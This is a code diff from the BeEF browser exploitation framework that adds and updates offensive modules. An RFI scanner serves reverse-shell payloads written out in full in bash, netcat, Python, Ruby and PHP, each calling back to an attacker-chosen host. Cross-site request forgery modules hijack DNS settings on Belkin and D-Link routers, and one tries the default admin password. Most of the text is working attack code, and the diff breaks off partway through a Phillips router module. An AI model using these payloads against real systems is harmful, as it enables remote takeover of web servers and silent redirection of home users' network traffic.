var timeout = wait * requests.length + 10;
|
||||
var handle = setInterval(function() {
|
||||
if (requests.length > 0) {
|
||||
get_url(requests.pop());
|
||||
} else cleanup();
|
||||
}, wait*1000);
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
if (handle) {
|
||||
beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
|
||||
clearInterval(handle);
|
||||
handle = 0;
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
|
||||
}
|
||||
}
|
||||
setTimeout("cleanup();", timeout*1000);
|
||||
|
||||
});
|
||||
15
modules/exploits/rfi_scanner/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
rfi_scanner:
|
||||
enable: true
|
||||
category: "Exploits"
|
||||
name: "RFI Scanner"
|
||||
description: "This module scans the specified web server for ~2,500 remote file include vulnerabilities using the <a href='https://code.google.com/p/fuzzdb/'>fuzzdb</a> <a href='https://fuzzdb.googlecode.com/svn/trunk/attack-payloads/rfi/rfi.txt'>RFI list</a>. Many of these vulns require the target to have register_globals enabled in the PHP config.<br/><br/>The scan will take about 10 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
197
modules/exploits/rfi_scanner/module.rb
Normal file
@@ -0,0 +1,197 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Rfi_scanner < BeEF::Core::Command
|
||||
|
||||
def pre_send
|
||||
lhost = '127.0.0.1'
|
||||
lport = 4444
|
||||
payload = 'reverse_php'
|
||||
@datastore.each do |input|
|
||||
if input['name'] == 'lhost'
|
||||
lhost = input['value']
|
||||
elsif input['name'] == 'lport'
|
||||
lport = input['value']
|
||||
end
|
||||
end
|
||||
@datastore.each do |input|
|
||||
if input['name'] == 'payload'
|
||||
case input['value']
|
||||
when "reverse_python" # msfvenom -p cmd/unix/reverse_python LHOST=X.X.X.X LPORT=XXXX
|
||||
cmd = Base64.encode64("import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);").gsub(/\r?\n/, '')
|
||||
payload = "`python -c \"exec ('#{cmd}'.decode ('base64') )\"`"
|
||||
when "reverse_netcat"
|
||||
payload = "`nc #{lhost} #{lport} -e /bin/sh`"
|
||||
when "reverse_ruby" # msfvenom -p cmd/unix/reverse_ruby LHOST=X.X.X.X LPORT=XXXX
|
||||
payload = "`ruby -rsocket -e \"exit if fork;c=TCPSocket.new('#{lhost}','#{lport}');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end\"`"
|
||||
when "reverse_bash"
|
||||
payload = "`bash -c \"/bin/bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1\"`"
|
||||
else # "reverse_php" # msfvenom -p php/reverse_php LHOST=X.X.X.X LPORT=XXXX
|
||||
payload = <<-EOS
|
||||
$ipaddr='#{lhost}';
|
||||
$port=#{lport};
|
||||
|
||||
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
|
||||
$dis=@ini_get('disable_functions');
|
||||
if(!empty($dis)){
|
||||
$dis=preg_replace('/[, ]+/', ',', $dis);
|
||||
$dis=explode(',', $dis);
|
||||
$dis=array_map('trim', $dis);
|
||||
}else{
|
||||
$dis=array();
|
||||
}
|
||||
|
||||
|
||||
if(!function_exists('zBoGL')){
|
||||
function zBoGL($c){
|
||||
global $dis;
|
||||
|
||||
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
||||
$c=$c." 2>&1\\n";
|
||||
}
|
||||
$eclnc='is_callable';
|
||||
$wGGmd='in_array';
|
||||
|
||||
if($eclnc('system')and!$wGGmd('system',$dis)){
|
||||
ob_start();
|
||||
system($c);
|
||||
$o=ob_get_contents();
|
||||
ob_end_clean();
|
||||
}else
|
||||
if($eclnc('popen')and!$wGGmd('popen',$dis)){
|
||||
$fp=popen($c,'r');
|
||||
$o=NULL;
|
||||
if(is_resource($fp)){
|
||||
while(!feof($fp)){
|
||||
$o.=fread($fp,1024);
|
||||
}
|
||||
}
|
||||
@pclose($fp);
|
||||
}else
|
||||
if($eclnc('passthru')and!$wGGmd('passthru',$dis)){
|
||||
ob_start();
|
||||
passthru($c);
|
||||
$o=ob_get_contents();
|
||||
ob_end_clean();
|
||||
}else
|
||||
if($eclnc('proc_open')and!$wGGmd('proc_open',$dis)){
|
||||
$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
|
||||
$o=NULL;
|
||||
while(!feof($pipes[1])){
|
||||
$o.=fread($pipes[1],1024);
|
||||
}
|
||||
@proc_close($handle);
|
||||
}else
|
||||
if($eclnc('exec')and!$wGGmd('exec',$dis)){
|
||||
$o=array();
|
||||
exec($c,$o);
|
||||
$o=join(chr(10),$o).chr(10);
|
||||
}else
|
||||
if($eclnc('shell_exec')and!$wGGmd('shell_exec',$dis)){
|
||||
$o=shell_exec($c);
|
||||
}else
|
||||
{
|
||||
$o=0;
|
||||
}
|
||||
|
||||
return $o;
|
||||
}
|
||||
}
|
||||
$nofuncs='no exec functions';
|
||||
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
|
||||
$s=@fsockopen("tcp://#{lhost}",$port);
|
||||
while($c=fread($s,2048)){
|
||||
$out = '';
|
||||
if(substr($c,0,3) == 'cd '){
|
||||
chdir(substr($c,3,-1));
|
||||
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
|
||||
break;
|
||||
}else{
|
||||
$out=zBoGL(substr($c,0,-1));
|
||||
if($out===false){
|
||||
fwrite($s,$nofuncs);
|
||||
break;
|
||||
}
|
||||
}
|
||||
fwrite($s,$out);
|
||||
}
|
||||
fclose($s);
|
||||
}else{
|
||||
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||
@socket_connect($s,$ipaddr,$port);
|
||||
@socket_write($s,"socket_create");
|
||||
while($c=@socket_read($s,2048)){
|
||||
$out = '';
|
||||
if(substr($c,0,3) == 'cd '){
|
||||
chdir(substr($c,3,-1));
|
||||
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
|
||||
break;
|
||||
}else{
|
||||
$out=zBoGL(substr($c,0,-1));
|
||||
if($out===false){
|
||||
@socket_write($s,$nofuncs);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@socket_write($s,$out,strlen($out));
|
||||
}
|
||||
@socket_close($s);
|
||||
}
|
||||
EOS
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/plain'}, "<?php #{payload} ?>", "/rfi_php_#{@command_id}.txt", -1)
|
||||
end
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
|
||||
lhost = "" if lhost == "0.0.0.0"
|
||||
return [
|
||||
{ 'name' => 'rproto',
|
||||
'type' => 'combobox',
|
||||
'ui_label' => 'Target Protocol',
|
||||
'store_type' => 'arraystore',
|
||||
'store_fields' => ['rproto'],
|
||||
'store_data' => [
|
||||
['http'],
|
||||
['https']
|
||||
],
|
||||
'emptyText' => 'Select a protocol (HTTP/HTTPS)',
|
||||
'valueField' => 'rproto',
|
||||
'displayField' => 'rproto',
|
||||
'mode' => 'local',
|
||||
'autoWidth' => true
|
||||
},
|
||||
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },
|
||||
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
|
||||
{ 'name' => 'base_dir', 'ui_label' => 'Base Directory', 'value' => '/' },
|
||||
{ 'name' => 'payload',
|
||||
'type' => 'combobox',
|
||||
'ui_label' => 'Payload',
|
||||
'store_type' => 'arraystore',
|
||||
'store_fields' => ['payload'],
|
||||
'store_data' => [ ['reverse_bash'], ['reverse_netcat'], ['reverse_ruby'], ['reverse_python'], ['reverse_php'] ],
|
||||
'emptyText' => 'Select a payload',
|
||||
'valueField' => 'payload',
|
||||
'displayField' => 'payload',
|
||||
'mode' => 'local',
|
||||
'forceSelection' => 'false',
|
||||
'autoWidth' => true
|
||||
},
|
||||
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },
|
||||
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' },
|
||||
{ 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width'=>'100px' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
#BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/rfi_php_#{@command_id}.txt")
|
||||
end
|
||||
|
||||
end
|
||||
2246
modules/exploits/rfi_scanner/rfi.txt
Normal file
5
modules/exploits/rfi_scanner/update-list
Executable file
@@ -0,0 +1,5 @@
|
||||
#!/bin/sh
|
||||
echo "[*] Deleting old rfi.txt..."
|
||||
rm rfi.txt
|
||||
echo "[*] Downloading latest rfi.txt..."
|
||||
wget "https://fuzzdb.googlecode.com/svn/trunk/attack-payloads/rfi/rfi.txt"
|
||||
@@ -31,7 +31,8 @@ beef.execute(function() {
|
||||
beef.debug(target_ip + " - gathering info completed");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>,
|
||||
"clients=" + clients +
|
||||
"ip=" + target_ip +
|
||||
"&clients=" + clients +
|
||||
"&wanip=" + wanip +
|
||||
"&netmask=" + netmask +
|
||||
"&gateway=" + gateway +
|
||||
|
||||
@@ -13,6 +13,53 @@ class Asus_rt_series_get_info < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if configuration.get("beef.extension.network.enable") == true
|
||||
|
||||
session_id = @datastore['beefhook']
|
||||
cid = @datastore['cid'].to_i
|
||||
|
||||
# log the network hosts
|
||||
if @datastore['results'] =~ /ip=(.+)&clients=(.+)&wanip=(.+)&netmask=(.+)&gateway=(.+)&dns=(.+)/
|
||||
ip = "#{$1}"
|
||||
clients = "#{$2}"
|
||||
wanip = "#{$3}"
|
||||
netmask = "#{$4}"
|
||||
gateway = "#{$5}"
|
||||
dns_servers = "#{$6}"
|
||||
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found Asus RT series router [ip: #{ip}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid)
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid)
|
||||
end
|
||||
clients.scan(/([\d\.]+,[:\dA-F]{17})/).flatten.each do |client|
|
||||
next if client.nil?
|
||||
if client.to_s =~ /^([\d\.]+),([:\dA-F]{17})$/
|
||||
ip = $1
|
||||
mac = $2
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found router client [ip: #{ip}, mac: #{mac}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
if !gateway.nil? && BeEF::Filters.is_valid_ip?(gateway)
|
||||
print_debug("Hooked browser found WAN gateway server [ip: #{gateway}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid)
|
||||
end
|
||||
if !dns_servers.nil? && dns_servers =~ /^([\d\. ]+)$/
|
||||
dns_servers.split(/ /).uniq.each do |dns|
|
||||
if BeEF::Filters.is_valid_ip?(dns)
|
||||
print_debug("Hooked browser found DNS server [ip: #{dns}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -7,28 +7,48 @@
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var gateway = '<%= @base %>';
|
||||
var path = '/cgi-bin/setup_dns.exe';
|
||||
var dns = '<%= @dns %>';
|
||||
var proto = 'http'
|
||||
var rhost = '<%= @rhost %>';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate DNS server IP address
|
||||
var parts = dns.split('.');
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid DNS server IP address was provided");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid DNS server IP address was provided");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var dns_1 = parts[0];
|
||||
var dns_2 = parts[1];
|
||||
var dns_3 = parts[2];
|
||||
var dns_4 = parts[3];
|
||||
var dns1_1 = parts[0];
|
||||
var dns1_2 = parts[1];
|
||||
var dns1_3 = parts[2];
|
||||
var dns1_4 = parts[3];
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
var dns2_1 = parts[0];
|
||||
var dns2_2 = parts[1];
|
||||
var dns2_3 = parts[2];
|
||||
var dns2_4 = parts[3];
|
||||
|
||||
// attempt auth with default password (admin)
|
||||
// incorrect login attempts do not log out an authenticated session
|
||||
@@ -37,24 +57,24 @@ beef.execute(function() {
|
||||
img.setAttribute("width", "0");
|
||||
img.setAttribute("height","0");
|
||||
img.id = 'belkin_auth_<%= @command_id %>';
|
||||
img.src = gateway+"/cgi-bin/login.exe?pws=admin";
|
||||
img.src = proto + '://' + rhost + "/cgi-bin/login.exe?pws=admin";
|
||||
document.body.appendChild(img);
|
||||
|
||||
// change DNS
|
||||
var belkin_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "POST", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'dns1_1', 'value':dns_1},
|
||||
{'type':'hidden', 'name':'dns1_2', 'value':dns_2},
|
||||
{'type':'hidden', 'name':'dns1_3', 'value':dns_3},
|
||||
{'type':'hidden', 'name':'dns1_4', 'value':dns_4},
|
||||
{'type':'hidden', 'name':'dns2_1', 'value':dns_1},
|
||||
{'type':'hidden', 'name':'dns2_2', 'value':dns_2},
|
||||
{'type':'hidden', 'name':'dns2_3', 'value':dns_3},
|
||||
{'type':'hidden', 'name':'dns2_4', 'value':dns_4},
|
||||
{'type':'hidden', 'name':'dns2_1_t', 'value':dns_1},
|
||||
{'type':'hidden', 'name':'dns2_2_t', 'value':dns_2},
|
||||
{'type':'hidden', 'name':'dns2_3_t', 'value':dns_3},
|
||||
{'type':'hidden', 'name':'dns2_4_t', 'value':dns_4},
|
||||
{'type':'hidden', 'name':'auto_from_isp', 'value':'0'}
|
||||
var belkin_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(proto + '://' + rhost + '/cgi-bin/setup_dns.exe', "POST", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},
|
||||
{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},
|
||||
{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},
|
||||
{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},
|
||||
{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},
|
||||
{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},
|
||||
{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},
|
||||
{'type':'hidden', 'name':'dns2_4', 'value':dns2_4},
|
||||
{'type':'hidden', 'name':'dns2_1_t', 'value':dns2_1},
|
||||
{'type':'hidden', 'name':'dns2_2_t', 'value':dns2_2},
|
||||
{'type':'hidden', 'name':'dns2_3_t', 'value':dns2_3},
|
||||
{'type':'hidden', 'name':'dns2_4_t', 'value':dns2_4},
|
||||
{'type':'hidden', 'name':'auto_from_isp', 'value':'0'} // disable dns from ISP
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
@@ -3,13 +3,15 @@
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# Tested on F1PI242EGau_V1.00.002 and F1PI242EGau_V1.00.009
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
belkin_dns_csrf:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "Belkin DNS Hijack CSRF"
|
||||
description: "Attempts to change the DNS setting on a Belkin router.<br/><br/>Multiple models are affected, including F5D7230 and F1PI242EG, however this module has not been tested."
|
||||
description: "Attempts to change the DNS setting on a Belkin router.<br/><br/>Multiple models are affected, including F5D7230 and F1PI242EG."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||
user_notify: ["ALL"]
|
||||
|
||||
@@ -2,15 +2,14 @@
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
###
|
||||
# This module has not been tested
|
||||
###
|
||||
#
|
||||
class Belkin_dns_csrf < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'},
|
||||
{'name' => 'dns', 'ui_label' => 'DNS Server', 'value' => '8.8.8.8'}
|
||||
{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '10.1.1.1'},
|
||||
{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
|
||||
{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
64
modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js
Normal file
@@ -0,0 +1,64 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var target = 'http://<%= @rhost %>/ddnsmngr.cmd';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'action', 'value': 'apply'},
|
||||
{'type':'hidden', 'name':'service', 'value': '0'},
|
||||
{'type':'hidden', 'name':'enbl', 'value': '0'},
|
||||
{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
|
||||
{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
|
||||
{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
|
||||
{'type':'hidden', 'name':'dnsRefresh', 'value': '1'},
|
||||
{'type':'hidden', 'name':'dns6Type', 'value': 'DHCP'}
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
document.body.removeChild(dlink_2640b_iframe_<%= @command_id %>);
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# References:
|
||||
# http://www.exploit-db.com/exploits/36105/
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
dlink_2640b_dns_hijack:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "D-Link DSL-2640B DNS Hijack"
|
||||
description: "Attempts to change the DNS setting on a D-Link DSL-2640B router.<br/><br/>The D-Link DSL-2640B reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
|
||||
authors: ["Todor Donev"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||
20
modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb
Normal file
@@ -0,0 +1,20 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Dlink_2640b_dns_hijack < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'},
|
||||
{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
|
||||
{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
59
modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js
Normal file
@@ -0,0 +1,59 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var target = 'http://<%= @rhost %>/Forms/dns_1';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'Enable_DNSFollowing', 'value':'1'},
|
||||
{'type':'hidden', 'name':'dnsPrimary', 'value':dns1},
|
||||
{'type':'hidden', 'name':'dnsSecondary', 'value':dns2}
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
document.body.removeChild(dlink_dsl2740r_<%= @command_id %>);
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# References:
|
||||
# http://www.exploit-db.com/exploits/35917/
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
dlink_dsl2740r_dns_hijack:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "D-Link DSL-2740R DNS Hijack"
|
||||
description: "Attempts to change the DNS setting on D-Link DSL-2740R routers.<br/><br/>D-Link DSL-2740R routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
|
||||
authors: ["Todor Donev"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||
20
modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb
Normal file
@@ -0,0 +1,20 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Dlink_dsl2740r_dns_hijack < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'},
|
||||
{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
|
||||
{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
74
modules/exploits/router/phillips_dns_hijack/command.js
Normal file
@@ -0,0 +1,74 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var target = 'http://<%= @rhost %>/cgi-bin/setup_dns.exe';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var dns1_1 = parts[0];
|
||||
var dns1_2 = parts[1];
|
||||
var dns1_3 = parts[2];
|
||||
var dns1_4 = parts[3];
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
